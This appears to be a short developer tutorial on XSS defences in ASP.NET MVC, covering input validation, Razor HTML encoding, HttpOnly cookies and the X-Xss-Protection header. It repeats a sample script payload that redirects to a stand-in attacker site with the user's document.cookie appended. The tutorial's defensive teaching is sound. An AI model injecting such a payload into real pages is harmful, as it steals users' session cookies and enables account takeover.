Cross-site scripting (XSS) enables attackers to inject client-side scripts into web pages. If its not prevented, this may lead to compromise of end users cookie. Let's take an example where an user input (either through query string or form input) is displayed on the browser without encoding it and user enters following to the input field
<script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>
This will result in transmitting user's cookie to myevilsite and hence myevilsite can access application using user's authenticated cookie.
Asp.net mvc framework has build in feature to deal with this issue
- It uses ValidateInput filter to validate user's input and throws HttpRequestValidationException for malicious input. By default this is always applied to all actions, in which case any HTML markup or JavaScript code in the body, header, query string, or cookies which not be allowed in the request. In case you have a requirement to turn it off as you expect HTML markup or JS code in the request then you can turn it off by decorating your controller action by ValidateInput(false)]
- By default asp.net mvc razor syntax are automatically HTML encoded, this will mean by any chance your server side code is trying to output markup (like <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>), it will html encode when using with @ and hence it will be displayed to user as is which is <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>. This protects from the scenario where somehow you have html markup or javascript in you db or by user input if validation is turned off. In case you have a requirement to show markup as is then you can user extension method @Html.Raw.
- When you tag a cookie as HttpOnly, it tells the browser that it can only be accessed by server and hence you cannot access this in javascript by document.cookie property. Form authentication which uses cookie ASPXAUTH is http only cookie and hence you cannot access that in java script.
- You can use X-Xss-Protection header to configure the built in reflective XSS protection found in Internet Explorer, Chrome and Safari.